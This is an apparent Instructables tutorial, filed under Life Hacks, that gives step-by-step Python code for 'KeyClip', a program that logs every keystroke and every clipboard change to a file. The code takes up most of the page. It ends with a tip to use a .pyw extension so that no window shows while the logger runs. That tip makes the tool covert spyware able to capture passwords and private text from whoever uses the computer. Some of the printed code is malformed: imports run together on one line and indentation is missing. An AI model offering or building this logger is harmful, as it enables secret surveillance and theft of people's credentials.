KeyClip: a Keylogger & Clipboard Logger With Python3 in 3 Minutes

by PlutonianFairy in Living > Life Hacks

1781 Views, 2 Favorites, 0 Comments

KeyClip: a Keylogger & Clipboard Logger With Python3 in 3 Minutes

carbon (10).png
carbon (4).png

This instructable will teach you how to make a simple key/clipboard logger in python 3.

The clipboard text will be preceded by 'Clip: '.

The keys will be preceded by 'Key: '.

Import Necessary Packages

carbon (5).png

You will need to install pynput and pyperclip before you can import them.

We will use the keyboard module from pynput to listen to keystrokes, and the paste function from pyperclip to read the clipboard.

from pynput.keyboard import Listener
from pyperclip import paste import logging from time import sleep import threading

The logging module will make the log files.

Threading is used to run the keylogger and the clipboard logger as two individual threads.

Configuring the Logger

carbon (6).png
logging.basicConfig(filename='KeyClip.log',

                    level=logging.INFO,

		    format='%(asctime)s: %(message)s')

If you want to store the log files in another directory, add it in front of the 'KeyClip.log' in the file name.

e.g:

filename = "c://Users//tom//Desktop//logs" + "KeyClip.log"

The KeyLogger

carbon (7).png
def onPress(key):
logging.info('Key: ' + str(key))
def keyLogger():
    with Listener(on_press=onPress) as l:
        l.join()

The Clipboard Logger

carbon (8).png
def clipLogger():
    prevClip = ''
    while True:
        clip = paste()
        if prevClip != clip:
            logging.info('Clip:  '+ clip)
            prevClip = clip
        sleep(0.2)

*The sleep function is used to limit the frequency of the while loop.

Threading

carbon (9).png
keyThread = threading.Thread(target=keyLogger)
clipThread = threading.Thread(target=clipLogger)

keyThread.start()
clipThread.start()

Downloads

Removing the Terminal

Change the python file's extension to .pyw instead of .py to remove the terminal that pops up every time you run it. To close the logger, you will need to use the task manager tho.